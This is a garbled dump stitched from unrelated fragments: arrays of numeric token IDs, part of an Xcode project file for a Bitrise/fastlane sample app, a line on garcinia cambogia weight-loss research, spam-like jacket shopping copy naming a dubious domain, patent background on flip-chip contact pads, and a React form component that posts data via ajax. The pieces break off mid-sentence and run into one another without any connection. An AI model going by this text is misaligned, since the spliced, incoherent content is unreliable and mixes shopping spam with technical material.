4739, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 19242, 33701, 988, 186, 558, 988, 186, 7973, 31980, 426, 313, 988, 186, 558, 988, 186, 36379, 426, 313, 2657, 186, 1012, 36, 21, 37, 22, 8561, 18, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 28295, 12168, 45864, 33701, 988, 186, 558, 988, 186, 1590, 426, 10210, 24078, 29760, 34669, 19352, 26943, 28, 988, 186, 7509, 2402, 426, 10210, 24078, 29760, 34669, 19352, 26943, 28, 988, 186, 7509, 12905, 426, 2145, 36, 21, 37, 22, 10172, 18, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 10210, 24078, 29760, 34669, 19352, 26943, 15, 89, 291, 383, 1738, 28, 988, 186, 7509, 2548, 426, 346, 681, 15, 19934, 15, 7509, 14, 881, 15, 30310, 15, 8522, 14, 2566, 3664, 996, 186, 4718, 996, 186, 1012, 36, 21, 37, 22, 36, 3712, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 10210, 24078, 29760, 34669, 19352, 41270, 6655, 1738, 426, 551, 988, 186, 8901, 426, 28295, 21408, 12168, 28, 988, 186, 7973, 11909, 2765, 426, 2145, 36, 21, 37, 22, 37, 3712, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 11103, 6661, 1618, 323, 28295, 21408, 12168, 346, 12871, 24078, 29760, 34669, 19352, 41270, 6655, 3, 1738, 28, 988, 186, 7973, 2641, 1169, 426, 313, 2657, 186, 1012, 36, 21, 37, 22, 36, 1797, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 34734, 33701, 2657, 186, 1012, 36, 21, 37, 22, 36, 2405, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 17780, 4896, 33701, 2657, 186, 1012, 36, 21, 37, 22, 36, 3156, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 19242, 33701, 988, 186, 558, 988, 186, 7973, 31980, 426, 313, 988, 186, 558, 988, 186, 36379, 426, 313, 2657, 186, 1012, 36, 21, 37, 22, 36, 3593, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 28295, 12168, 45864, 33701, 988, 186, 558, 988, 186, 1590, 426, 10210, 24078, 29760, 34669, 19352, 41270, 6655, 28, 988, 186, 7509, 2402, 426, 10210, 24078, 29760, 34669, 19352, 41270, 6655, 28, 988, 186, 7509, 12905, 426, 2145, 36, 21, 37, 22, 36, 3832, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 3476, 10210, 24078, 29760, 34669, 19352, 41270, 6655, 15, 89, 291, 383, 1738, 28, 988, 186, 7509, 2548, 426, 346, 681, 15, 19934, 15, 7509, 14, 881, 15, 30310, 15, 4113, 14, 19462, 3664, 996, 186, 4718, 187, 3122, 8072, 28295, 21408, 12168, 2593, 1738, 187, 187, 3122, 22929, 28295, 11695, 2593, 1738, 996, 186, 1012, 36, 21, 37, 3046, 39, 18, 11927, 11927, 1703, 7554, 37, 22, 9151, 1717, 3476, 8049, 1789, 1738, 426, 551, 988, 186, 8901, 426, 28295, 11695, 28, 988, 186, 26059, 426, 551, 2657, 186, 8693, 44756, 11241, 9063, 426, 16331, 740, 28, 2657, 186, 8693, 5683, 7698, 9063, 426, 16331, 740, 28, 2657, 186, 1372, 39845, 18769, 6570, 9536, 426, 346, 44, 4448, 15701, 757, 3617, 264, 31586, 3664, 2657, 186, 12168, 23372, 426, 551, 2664, 186, 1012, 36, 21, 37, 22, 34, 3832, 11927, 11927, 1703, 7554, 37, 22, 9151, 1717, 426, 551, 7308, 186, 32331, 2374, 32953, 8893, 426, 854, 15, 18, 28, 7308, 186, 38018, 25804, 426, 898, 4883, 2031, 6721, 25697, 24, 28, 7308, 186, 1845, 4694, 272, 11446, 426, 28609, 28, 2664, 186, 4718, 2664, 186, 1012, 36, 21, 37, 22, 6327, 18, 11927, 11927, 1703, 8320, 37, 22, 9151, 1717, 426, 551, 7308, 186, 32331, 2374, 32953, 8893, 426, 854, 15, 18, 28, 7308, 186, 38018, 25804, 426, 8187, 4576, 25, 55, 20, 56, 43621, 28, 7308, 186, 1845, 4694, 272, 11446, 426, 47367, 28, 7308, 186 ]	DIR; }; 13C4D5CA1DDDDED400D5DC29 /* BitriseFastlaneSampleUITests.swift / = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = BitriseFastlaneSampleUITests.swift; sourceTree = "<group>"; }; 13C4D5CC1DDDDED400D5DC29 / Info.plist / = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = "<group>"; }; / End PBXFileReference section / / Begin PBXFrameworksBuildPhase section / 13C4D5A41DDDDED300D5DC29 / Frameworks / = { isa = PBXFrameworksBuildPhase; buildActionMask = 2147483647; files = ( ); runOnlyForDeploymentPostprocessing = 0; }; 13C4D5B81DDDDED400D5DC29 / Frameworks / = { isa = PBXFrameworksBuildPhase; buildActionMask = 2147483647; files = ( ); runOnlyForDeploymentPostprocessing = 0; }; 13C4D5C31DDDDED400D5DC29 / Frameworks / = { isa = PBXFrameworksBuildPhase; buildActionMask = 2147483647; files = ( ); runOnlyForDeploymentPostprocessing = 0; }; / End PBXFrameworksBuildPhase section / / Begin PBXGroup section / 13C4D59E1DDDDED300D5DC29 = { isa = PBXGroup; children = ( 13C4D5A91DDDDED300D5DC29 / BitriseFastlaneSample /, 13C4D5BE1DDDDED400D5DC29 / BitriseFastlaneSampleTests /, 13C4D5C91DDDDED400D5DC29 / BitriseFastlaneSampleUITests /, 13C4D5A81DDDDED300D5DC29 / Products /, ); sourceTree = "<group>"; }; 13C4D5A81DDDDED300D5DC29 / Products / = { isa = PBXGroup; children = ( 13C4D5A71DDDDED300D5DC29 / BitriseFastlaneSample.app /, 13C4D5BB1DDDDED400D5DC29 / BitriseFastlaneSampleTests.xctest /, 13C4D5C61DDDDED400D5DC29 / BitriseFastlaneSampleUITests.xctest /, ); name = Products; sourceTree = "<group>"; }; 13C4D5A91DDDDED300D5DC29 / BitriseFastlaneSample / = { isa = PBXGroup; children = ( 13C4D5AA1DDDDED300D5DC29 / AppDelegate.swift /, 13C4D5AC1DDDDED300D5DC29 / ViewController.swift /, 13C4D5AE1DDDDED300D5DC29 / Main.storyboard /, 13C4D5B11DDDDED300D5DC29 / Assets.xcassets /, 13C4D5B31DDDDED300D5DC29 / LaunchScreen.storyboard /, 13C4D5B61DDDDED300D5DC29 / Info.plist /, ); path = BitriseFastlaneSample; sourceTree = "<group>"; }; 13C4D5BE1DDDDED400D5DC29 / BitriseFastlaneSampleTests / = { isa = PBXGroup; children = ( 13C4D5BF1DDDDED400D5DC29 / BitriseFastlaneSampleTests.swift /, 13C4D5C11DDDDED400D5DC29 / Info.plist /, ); path = BitriseFastlaneSampleTests; sourceTree = "<group>"; }; 13C4D5C91DDDDED400D5DC29 / BitriseFastlaneSampleUITests / = { isa = PBXGroup; children = ( 13C4D5CA1DDDDED400D5DC29 / BitriseFastlaneSampleUITests.swift /, 13C4D5CC1DDDDED400D5DC29 / Info.plist /, ); path = BitriseFastlaneSampleUITests; sourceTree = "<group>"; }; / End PBXGroup section / / Begin PBXNativeTarget section / 13C4D5A61DDDDED300D5DC29 / BitriseFastlaneSample / = { isa = PBXNativeTarget; buildConfigurationList = 13C4D5CF1DDDDED400D5DC29 / Build configuration list for PBXNativeTarget "BitriseFastlaneSample" /; buildPhases = ( 13C4D5A31DDDDED300D5DC29 / Sources /, 13C4D5A41DDDDED300D5DC29 / Frameworks /, 13C4D5A51DDDDED300D5DC29 / Resources /, ); buildRules = ( ); dependencies = ( ); name = BitriseFastlaneSample; productName = BitriseFastlaneSample; productReference = 13C4D5A71DDDDED300D5DC29 / BitriseFastlaneSample.app /; productType = "com.apple.product-type.application"; }; 13C4D5BA1DDDDED400D5DC29 / BitriseFastlaneSampleTests / = { isa = PBXNativeTarget; buildConfigurationList = 13C4D5D21DDDDED400D5DC29 / Build configuration list for PBXNativeTarget "BitriseFastlaneSampleTests" /; buildPhases = ( 13C4D5B71DDDDED400D5DC29 / Sources /, 13C4D5B81DDDDED400D5DC29 / Frameworks /, 13C4D5B91DDDDED400D5DC29 / Resources /, ); buildRules = ( ); dependencies = ( 13C4D5BD1DDDDED400D5DC29 / PBXTargetDependency /, ); name = BitriseFastlaneSampleTests; productName = BitriseFastlaneSampleTests; productReference = 13C4D5BB1DDDDED400D5DC29 / BitriseFastlaneSampleTests.xctest /; productType = "com.apple.product-type.bundle.unit-test"; }; 13C4D5C51DDDDED400D5DC29 / BitriseFastlaneSampleUITests / = { isa = PBXNativeTarget; buildConfigurationList = 13C4D5D51DDDDED400D5DC29 / Build configuration list for PBXNativeTarget "BitriseFastlaneSampleUITests" /; buildPhases = ( 13C4D5C21DDDDED400D5DC29 / Sources /, 13C4D5C31DDDDED400D5DC29 / Frameworks /, 13C4D5C41DDDDED400D5DC29 / Resources /, ); buildRules = ( ); dependencies = ( 13C4D5C81DDDDED400D5DC29 / PBXTargetDependency /, ); name = BitriseFastlaneSampleUITests; productName = BitriseFastlaneSampleUITests; productReference = 13C4D5C61DDDDED400D5DC29 / BitriseFastlaneSampleUITests.xctest /; productType = "com.apple.product-type.bundle.ui-testing"; }; / End PBXNativeTarget section / / Begin PBXProject section / 13C4D59F1DDDDED300D5DC29 / Project object */ = { isa = PBXProject; attributes = { LastSwiftUpdateCheck = 0810; LastUpgradeCheck = 0810; ORGANIZATIONNAME = "Krisztian Goedrei"; TargetAttributes = { 13C4D5A61DDDDED300D5DC29 = { CreatedOnToolsVersion = 8.1; DevelopmentTeam = 9NS44DLTN7; ProvisioningStyle = Manual; }; 13C4D5BA1DDDDED400D5DC29 = { CreatedOnToolsVersion = 8.1; DevelopmentTeam = 72SA8V3WYL; ProvisioningStyle = Automatic;
[ 13, 697, 1512, 6906, 15, 187, 187, 3726, 1119, 642, 1941, 326, 30824, 10179, 695, 3527, 13, 253, 3939, 24405, 275, 2801, 2957, 3580, 1160, 432, 305, 20153, 571, 31801, 462, 571, 13, 4197, 1534, 2801, 2957, 15, 380, 2448, 9109, 273, 15022, 32212, 275, 6157, 3863, 247, 12082, 2278, 273, 11419, 14, 47927, 285, 3382, 7587, 327, 15048, 26434, 323, 2801, 2957, 407, 19767, 9921, 8607, 387, 253, 12565, 1005, 273, 1889, 1715, 285, 48022, 15, 187, 187, 48698, 323, 2159, 17649, 18553, 3909, 387, 17661, 15, 7648, 15076, 327, 21754, 689, 370, 1671, 285, 5321, 608, 6, 1046, 1388, 342, 634, 17661, 40559, 9290, 15, 436, 18553, 310, 594, 4451, 15, 952, 588, 320, 28193, 816, 2820, 281, 4677, 436, 18553, 562, 537, 253, 2144, 310, 247, 5322, 3290, 8067, 15, 253, 3740, 310, 594, 1027, 275, 253, 1682, 1039, 15, 253, 4944, 310, 5091, 6, 2032, 281, 1979, 15, 29264, 2784, 323, 4661, 522, 14196, 17649, 18553, 387, 48730, 27920, 273, 1355, 374, 285, 625, 432, 11829, 23966, 2255, 18553, 13, 37323, 23966, 18553, 2255, 13, 75, 8300, 18553, 327, 352, 1348, 14, 466, 412, 15, 72, 82, 964, 18, 15, 23557, 7327, 187, 510, 3688, 7033, 3839, 281, 247, 1029, 10236, 11291, 5522, 13, 285, 625, 3782, 13, 281, 247, 2605, 323, 19153, 14, 18421, 6604, 494, 3057, 25297, 327, 247, 2553, 273, 247, 11291, 10289, 15, 187, 19, 15, 15073, 3975, 187, 510, 2905, 1445, 3400, 19153, 14, 18421, 25502, 1690, 247, 6605, 1907, 35610, 14, 251, 16152, 25297, 323, 14167, 10236, 16666, 390, 643, 16007, 15, 14702, 23566, 11782, 313, 35, 7283, 10, 11291, 12149, 403, 5431, 8818, 342, 247, 6605, 313, 70, 15, 72, 904, 11291, 10289, 10, 326, 8525, 253, 8527, 5049, 285, 534, 556, 247, 6605, 5161, 326, 310, 8818, 342, 6041, 11462, 5049, 4450, 4870, 13, 824, 347, 298, 10899, 15, 380, 19633, 23601, 9421, 891, 15, 70, 904, 1755, 285, 5004, 9421, 10, 273, 253, 6605, 1016, 3831, 247, 11234, 273, 7329, 35610, 14, 251, 5148, 16152, 25297, 313, 70, 15, 72, 15, 35610, 14, 251, 14295, 25297, 481, 22460, 13, 247, 31223, 4023, 310, 4845, 4830, 1016, 7329, 16152, 13229, 15, 380, 31223, 15254, 403, 840, 16934, 285, 1275, 676, 264, 281, 5533, 253, 15254, 281, 253, 35610, 14, 251, 5148, 16152, 25297, 15, 5815, 273, 253, 35610, 14, 251, 16152, 25297, 310, 840, 13318, 285, 23810, 4802, 949, 253, 31223, 4023, 281, 247, 3969, 11937, 1025, 13229, 327, 253, 11291, 9739, 84, 2553, 390, 327, 253, 2553, 273, 1529, 6605, 15, 187, 510, 2905, 1445, 4948, 253, 16152, 25297, 327, 253, 19633, 9421, 273, 247, 6605, 407, 19693, 5148, 40774, 5609, 313, 70, 15, 72, 904, 1516, 1102, 405, 14295, 40774, 3560, 407, 15753, 16, 29165, 40774, 481, 380, 11937, 1320, 1232, 5431, 7091, 281, 4711, 253, 35610, 14, 251, 16152, 25297, 273, 253, 2905, 1445, 12093, 6024, 40774, 5018, 285, 310, 4942, 673, 21337, 285, 8214, 15, 187, 510, 1246, 3688, 35580, 253, 878, 323, 2553, 11937, 1320, 40774, 5018, 275, 253, 4702, 273, 6024, 3057, 25297, 1223, 5277, 271, 37265, 1332, 273, 9046, 12762, 19, 89, 1438, 89, 26, 68, 43272, 14, 18421, 6604, 494, 7096, 19, 89, 1438, 89, 26, 69, 3057, 11937, 3922, 90, 327, 253, 2553, 9, 84, 10, 273, 247, 6605, 313, 70, 15, 72, 13, 247, 1029, 4038, 11291, 10289, 481, 1284, 588, 320, 2007, 2529, 13, 253, 8545, 10291, 875, 253, 6605, 2553, 285, 247, 19153, 14, 18421, 285, 253, 4795, 2605, 403, 8818, 29187, 970, 21656, 17063, 19604, 2144, 313, 70, 15, 72, 904, 19604, 15596, 13, 390, 31223, 15596, 481, 187, 23135, 247, 8350, 4809, 273, 253, 3688, 13, 3400, 247, 6605, 1907, 247, 18884, 3828, 875, 247, 806, 5148, 3828, 285, 247, 1273, 5148, 3828, 13, 253, 1273, 5148, 3828, 1146, 15432, 1840, 253, 806, 5148, 3828, 13, 253, 806, 5148, 3828, 1907, 247, 806, 3057, 2170, 13, 253, 1273, 5148, 3828, 1907, 247, 4236, 2170, 15432, 1840, 253, 806, 3057, 2170, 28, 285, 247, 2494, 13917, 13369, 1561, 253, 4236, 2170, 1146, 15432, 949, 253, 1273, 5148, 3828, 285, 949, 253, 18884, 3828, 285, 13633, 281, 253, 806, 3057, 2170, 273, 253, 806, 5148, 3828, 28, 247, 2280, 273, 19604, 2144, 9046, 247, 3828, 2220, 253, 4236, 2170, 273, 253, 1273, 5148, 3828, 285, 1146, 3304, 253, 2494, 13917, 13369, 285, 1146, 275, 3057, 342, 253, 806, 3057, 2170, 273, 253, 806, 5148, 3828, 15, 187, 8195, 4735, 273, 253, 1246, 3688, 3400, 247, 1332, 323, 9046, 3057, 25297, 327, 247, 6605, 13, 11616, 5277, 247, 6605, 1690, 247, 806, 5148, 2553, 285, 271, 6024, 5148, 27204, 3828, 285, 247, 3828, 273, 18884, 2144, 15432, 875, 253, 806, 5148, 2553, 285, 253, 6024, 5148, 27204, 3828, 28, 27024, 839, 253, 6024, 5148, 27204, 3828, 285, 253, 18884, 3828, 281, 22065, 247, 5110, 273, 253, 806, 5148, 2553, 28, 21656, 8563, 2996, 247, 19604, 2144, 2220, 253, 7329, 5110, 273, 253, 806, 5148, 2553, 285, 2220, 247, 10844, 2170, 273, 253, 6024, 5148, 27204, 3828, 1475, 253, 7329, 5110, 273, 253, 806, 5148, 2553, 28, 29411, 253, 6024, 5148, 27204, 3828, 970, 253, 21656, 17063, 19604, 2144, 347, 271, 47514, 8989, 15, 187, 510, 20128, 285, 643, 3386, 273, 253, 3688, 588, 320, 5165, 432, 253, 1563, 625, 1798, 5740, 273, 24898, 273, 253, 3688, 13, 347, 12800, 275, 253, 17909, 21780, 15, 2948, 23782, 432, 346, 22312, 3664, 187, 2948, 551, 15552, 15668, 748, 432, 346, 8560, 14, 10706, 3664, 187, 2948, 10318, 21822, 8982, 432, 47490, 4312, 8982, 16, 4312, 21822, 8982, 3664, 187, 2948, 10882, 21822, 8982, 432, 47490, 6586, 8982, 16, 6586, 21822, 8982, 3664, 187, 2948, 11605, 1701, 8880, 432, 346, 4990, 14, 4113, 16, 21328, 1701, 8880, 3664, 187, 2948, 30631, 83, 432, 346, 936, 505, 83, 3664, 187, 187, 2437, 8078, 8982, 8725, 23782, 15, 12118, 551, 187, 50276, 36073, 9, 21390, 10, 551, 187, 50274, 12185, 9, 21390, 558, 187, 50274, 2520, 15, 3409, 426, 551, 187, 50272, 11242, 27, 8168, 187, 50274, 4718, 187, 50274, 2520, 15, 13161, 6825, 426, 436, 15, 13161, 6825, 15, 13245, 9, 2520, 558, 187, 50274, 2520, 15, 5423, 42520, 426, 436, 15, 5423, 42520, 15, 13245, 9, 2520, 558, 187, 50274, 2520, 15, 11183, 5232, 3233, 426, 436, 15, 11183, 5232, 3233, 15, 13245, 9, 2520, 558, 187, 50276, 94, 535, 50276, 11425, 12118, 11241, 1082, 551, 187, 50274, 2309, 3221, 28, 187, 50276, 94, 535, 50276, 5423, 42520, 9, 630, 3233, 10, 551, 187, 50274, 1059, 941, 426, 25425, 187, 50274, 1542, 313, 1059, 4667, 273, 830, 3233, 15, 35858, 6649, 551, 187, 50272, 2203, 60, 13934, 60, 17, 9502, 426, 4667, 60, 18, 2194, 187, 50274, 94, 187, 50274, 1059, 3280, 38403, 3233, 426, 551, 187, 50272, 1913, 27, 346, 35446, 64, 6971, 8417, 27823, 1703, 995, 187, 50272, 35704, 27, 941, 187, 50274, 4718, 187, 50274, 2520, 15, 5598, 12205, 426, 3497, 15, 5598, 28, 187, 50274, 2520, 15, 5598, 12205, 15, 5996, 7474, 9, 5423, 38403, 3233, 13, 23376, 3287, 187, 50276, 94, 535, 50276, 13161, 6825, 9, 13161, 23054, 13, 6789, 64, 8882, 10, 551, 187, 50274, 5, 19410, 9252, 14, 11872, 6788, 40813, 9, 187, 50272, 92, 187, 50270, 22860, 11387, 27, 28543, 9252, 14, 2154, 6788, 10946, 5023, 3956, 187, 50272, 2023, 187, 50272, 9138, 187, 50274, 558, 535, 50274, 1059, 830, 3233, 426, 747, 7191, 3233, 3914, 19410, 13161, 14, 1156, 2807, 60, 17, 9259, 187, 50274, 2520, 15, 3409, 15, 11242, 15, 4251, 9, 3140, 3001, 551, 187, 50272, 630, 3233, 15, 1178, 9, 3140, 15, 1826, 17479, 13, 1873, 15, 1826, 3140, 13, 1873, 15, 1826, 17479, 558, 187, 50274, 9897, 535, 50274, 338, 313, 4065, 272, 64, 8882, 11013, 346, 32971, 45185, 2807, 551, 187, 50272, 2520, 15, 5423, 42520, 9, 630, 3233, 558, 187, 50274, 94, 535, 50274, 338, 313, 4065, 272, 64, 8882, 11013, 346, 32971, 3, 2785, 6789, 64, 8882, 11013, 346, 32971, 45185, 2807, 551, 187, 50272, 1059, 22639, 18, 426, 29707, 187, 50272, 1059, 22639, 19, 426, 29707, 187, 50272, 1059, 22639, 20, 426, 29707, 187, 50272, 5, 19410, 1212, 2009, 14, 24951, 2807, 187, 50270, 15, 9016, 1587, 44212, 995, 346, 22772, 2807, 187, 50270, 15, 13382, 885, 1082, 187, 50270, 15, 17506, 36810, 3001, 551, 187, 50268, 5, 19410, 1212, 2009, 14, 24951, 6788, 24951, 7506, 187, 50266, 25250, 27, 346, 1610, 28764, 187, 50268, 9897, 187, 50268, 23896, 18, 426, 873, 20780, 36810, 3001, 551, 187, 50266, 5, 19410, 1212, 2009, 14, 24951, 6788, 24951, 7506, 187, 50264, 25250, 27, 346, 1235, 28764, 187, 50266, 9897, 187, 50268, 2023, 7469, 558, 187, 50268, 23896, 19, 426, 873, 20780, 36810, 3001, 551, 187, 50266, 5, 19410, 1212, 2009, 14, 24951, 6788, 24951, 7506, 187, 50264, 25250, 27, 346, 2082, 28764, 187, 50266, 9897, 187, 50268, 2023, 12891, 558, 187, 50268, 23896, 20, 426, 873, 20780, 36810, 3001, 551, 187, 50266, 5, 19410, 1212, 2009, 14, 24951, 6788, 24951, 7506, 187, 50264, 25250, 27, 346, 2227, 28764, 187, 50266, 9897, 187, 50268, 2023, 9098, 558, 187, 50270, 9897, 187, 50272, 1352, 20742, 7506, 187, 50270, 881, 27, 346, 15743, 995, 187, 50270, 6434, 27, 5007, 23054, 13, 187, 50270, 2203, 27, 830, 3233, 13, 187, 50270, 6071, 2548, 27, 3221, 13, 187, 50270, 12985, 27, 3221, 13, 187, 50270, 7404, 3233, 27, 3221, 13, 187, 50270, 27216, 27, 2032, 13, 187, 50270, 12566, 27, 941, 3001, 551, 187, 50268, 5, 19410, 1212, 2009, 14, 24951, 6788, 24951, 7506, 187, 50266, 25250, 27, 346, 2313, 28764, 187, 50268, 9897, 187, 50268, 8250, 20780, 9, 23896, 18, 558, 187, 50268, 8250, 20780, 9, 23896, 19, 558, 187, 50268, 8250, 20780, 9, 23896, 20, 558, 187, 50268, 1178, 20780, 36810, 3001, 551, 187, 50266, 5, 19410, 1212, 2009, 14, 24951, 6788, 9016, 1587, 44212, 995, 346, 19057, 3287, 187, 50266, 5, 19410, 1212, 2009, 14, 24951, 6788, 24951, 7506, 187, 50264, 25250, 27, 346, 17, 28764, 187, 50266, 9897, 187, 50268, 2023, 9098, 558, 187, 50270, 2023, 187, 50270, 3775, 27, 313, 89, 6285, 13, 2505, 9505, 13, 2228, 1044, 2924, 10, 3001, 551, 187, 50268, 5, 19410, 1212, 2009, 14, 24951, 6788, 9016, 1587, 44212, 995, 346, 19057, 3287, 187, 50268, 5, 19410, 1212, 2009, 14, 24951, 6788, 24951, 7506, 187, 50266, 25250, 27, 346, 17, 28764, 187, 50268, 9897, 187, 50268, 936, 505, 83, 15, 3775, 1587, 4756, 5866, 48708, 187, 50270, 94, 187, 50272, 9897, 187, 50274, 94, 187, 50276, 94, 535, 50276, 11183, 5232, 3233, 9, 1826, 3140, 13, 747, 17479, 10, 551, 187, 50274, 2520, 15, 1178, 5443, 7506, 187, 50272, 11242, 27, 544, 1051, 2520, 15, 3409, 15, 11242, 13, 551, 747, 17479, 13, 747, 3140, 748, 62, 187, 50274, 9897, 187, 50276, 94, 535, 50276, 12574, 1082, 551, 187, 50274, 2309, 313, 187, 50272, 29, 2154, 32181, 568, 4113, 18932, 4055, 15616, 9860, 1138, 187, 50270, 29, 630, 2654, 568, 13161, 14, 1156, 3, 32181, 568, 17182, 4618, 8031, 494, 20061, 28243, 3280, 1138, 187, 50268, 29, 2154, 32181, 568, 28474, 7588, 14, 32971, 14, 5423, 14, 22127, 3, 2234, 11787, 18102, 15, 14719, 1082, 20499, 187, 50266, 29, 1288, 4725, 187, 50266, 29, 1288, 4725, 187, 50266, 92, 2520, 15, 21390, 15, 1156, 46341, 15, 3985, 2239, 470, 3857, 313, 187, 50264, 29, 2154, 32181, 568, 28474, 7588, 14, 32971, 14, 5423, 14, 1156, 14, 22127, 1138, 187, 50262, 92, 2520, 15, 21390, 15, 1156, 46341, 15, 4251, 4464, 1968, 13, 3605, 10, 3001, 544, 187, 50260, 29, 4312, 21822, 8982, 187, 50258, 2364, 11787, 18102, 15, 14719, 1082, 94, 187, 50258, 4663, 11787, 4663, 94, 187, 50258, 4065, 272, 64, 8882, 11787, 2520, 15, 21390, 15, 4065, 272, 64, 8882, 94, 187, 50258, 1968, 11787, 1968, 94, 187, 50260, 4357, 13, 187, 50260, 29, 1288, 2234, 11787, 18102, 15, 14719, 1082, 94, 4725, 13, 187, 50260, 29, 1288, 2234, 11787, 18102, 15, 14719, 1082, 94, 4725, 187, 50262, 62, 3117, 187, 50264, 870, 2154, 31, 187, 50266, 3117, 187, 50266, 92, 2520, 15, 21390, 15, 5695, 46341, 15, 4251, 4464, 1968, 13, 3605, 10, 3001, 544, 187, 50264, 29, 6586, 21822, 8982, 187, 50262, 2364, 11787, 18102, 15, 14719, 1082, 94, 187, 50262, 4663, 11787, 4663, 94, 187, 50262, 11183, 5232, 3233, 11787, 2520, 15, 11183, 5232 ]	, its too thin. They found no evidence that hydroxycitric acid, the active ingredient in weight loss products made from garcinia cambogia, produced significant weight loss. The American Journal of Clinical Nutrition in 2004 published a systematic review of meta-analyses and clinical trials on dietary supplements for weight loss by complementary medicine researchers at the Universities of Exeter and Plymouth. Shop for short cotton jacket online at Target. Free shipping on purchases over $35 and save 5% every day with your Target REDcard. this jacket is so unique. people will be starring just trying to figure this jacket out.. the material is a nice quality fabric. the style is so different in the best way. the fit is 90% true to size. Shopping for Cheap Short cotton jacket at Struggle of small 2 and more from fur collar women jacket,fur collar jacket women,jacket jacket on it24-ieop.gq.1. Technical Field The invention relates generally to a high semiconductor chip package, and more particularly, to a structure for flip-chip joinable contact pads on a surface of a chip carrier. 2. Related Art The related art provides flip-chip assemblies including a substrate having plated-on attach pads for joining semiconductor chips or other substrates. Ball Grid Array (BGA) chip packages are typically constructed with a substrate (e.g., chip carrier) that supports the integrated circuit and which has a substrate core that is constructed with conventional printed circuit board processes, such as lamination. The exterior planar surfaces i.e., top and bottom surfaces) of the substrate each contain a plurality of exposed plated-on metal attach pads (e.g. plated-on copper pads). Typically, a solder ball is placed onto each exposed attach pad. The solder balls are then heated and reflowed to bond the balls to the plated-on metal attach pads. Each of the plated-on attach pads is then physically and electrically connected through the solder ball to a corresponding metallized pad on the chip""s surface or on the surface of another substrate. The related art forms the attach pads on the exterior surfaces of a substrate by employing metal plating techniques (e.g., electroless copper plating followed by Ni/Au plating). The metallization process typically employed to produce the plated-on attach pads of the related art comprises external plating steps and is relatively time consuming and expensive. The present invention eliminates the need for surface metallization plating steps in the formation of external contact pads while providing an economical method of forming xe2x80x9cflip-chip joinablexe2x80x9d contact metallurgy on the surface(s) of a substrate (e.g, a high density chip carrier). As will be further described, the electrical connections between the substrate surface and a flip-chip and the resulting structure are constructed economically using selectively deposited conductive material (e.g., conductive paste, or solder paste). Accordingly a structural aspect of the invention, provides a substrate having a dielectric layer between a first metal layer and a second metal layer, the second metal layer being disposed above the first metal layer, the first metal layer having a first contact area, the second metal layer having a selected area disposed above the first contact area; and a microvia cavity within the selected area being disposed through the second metal layer and through the dielectric layer and extending to the first contact area of the first metal layer; a mass of conductive material forming a layer upon the selected area of the second metal layer and being inside the microvia cavity and being in contact with the first contact area of the first metal layer. Another feature of the present invention provides a method for forming contact pads on a substrate, comprising providing a substrate including a first metal surface and an external metal foil layer and a layer of dielectric material disposed between the first metal surface and the external metal foil layer; perforating the external metal foil layer and the dielectric layer to expose a portion of the first metal surface; selectively depositing a conductive material upon the exposed portion of the first metal surface and upon a peripheral area of the external metal foil layer around the exposed portion of the first metal surface; etching the external metal foil layer using the selectively deposited conductive material as an etch mask. The foregoing and other features of the invention will be apparent from the following more particular description of embodiments of the invention, as illustrated in the accompanying drawings.import React from "react"; import { PropTypes } from "prop-types"; import TextSingleInput from "../TextInput/TextSingleInput"; import ImageSingleInput from "../ImageInput/ImageSingleInput"; import RaisedButton from "material-ui/RaisedButton"; import toastr from "toastr"; class TypeInput extends React.Component { constructor(props) { super(props); this.state = { files: [] }; this.sendRequest = this.sendRequest.bind(this); this.inputSubmitted = this.inputSubmitted.bind(this); this.updateFormData = this.updateFormData.bind(this); } shouldComponentUpdate() { return false; } inputSubmitted(formData) { let data = {}; for (let pair of formData.entries()) { data[pair[0]] = pair[1]; } let inputSubmitData = { action: "INPUT_SUBMITTED", payload: data }; this.parentWindow = window.parent; this.parentWindow.postMessage(inputSubmitData, "*"); } sendRequest(sendAddr, calling_context) { $("#output-outer").animate( { scrollTop: $("#output-div").offset().top }, 1000 ); let formData = new FormData($("#send-text")[0]); this.state.files.map(file => { formData.set(file.newfilename, file.newfile, file.newfilename); }); if (calling_context === "demoiframe") { this.inputSubmitted(formData); } if (calling_context === "demo" \|\| calling_context === "demoiframe") { let timeout1 = ""; let timeout2 = ""; let timeout3 = ""; $("#appbar-progress") .css("visibility", "visible") .promise() .done(() => { $("#appbar-progress").progress({ percent: "33%" }); timeout1 = setTimeout(() => { $("#appbar-progress").progress({ percent: "50%" }); }, 300); timeout2 = setTimeout(() => { $("#appbar-progress").progress({ percent: "65%" }); }, 600); timeout3 = setTimeout(() => { $("#appbar-progress").progress({ percent: "85%" }); }, 1000); }); $.ajax({ type: "POST", url: sendAddr, data: formData, contentType: false, cache: false, processData: false, async: true, success: data => { $("#appbar-progress").progress({ percent: "100%" }); clearTimeout(timeout1); clearTimeout(timeout2); clearTimeout(timeout3); setTimeout(() => { $("#appbar-progress").css("visibility", "hidden"); $("#appbar-progress").progress({ percent: "0%" }); }, 1000); }, error: (xhr, textStatus, errorThrown) => { $("#appbar-progress").css("visibility", "hidden"); $("#appbar-progress").progress({ percent: "0%" }); toastr.error("Error occurred!"); } }); } } updateFormData(newfile, newfilename) { this.setState({ files: [...this.state.files, { newfilename, newfile }] }); } render() { return ( <div className="ui centered center aligned grid"> <form id="send-text" className="six wide stackable stretched ui input"> <div className="origami-demo-input-components" key={Math.random()}> <br /> <br /> {this.props.textLabels.length > 0 && ( <div className="origami-demo-input-text-components"> {this.props.textLabels.map((label, index) => [ <TextSingleInput key={Math.random()} index={index} calling_context={this.props.calling_context} label={label} />, <br key={Math.random()} />, <br key={Math.random()} /> ])} </div> )} {this.props.imageLabels.map((label, index) => [ <ImageSingleInput key={Math.random()} index={index} updateFormData={this.updateForm
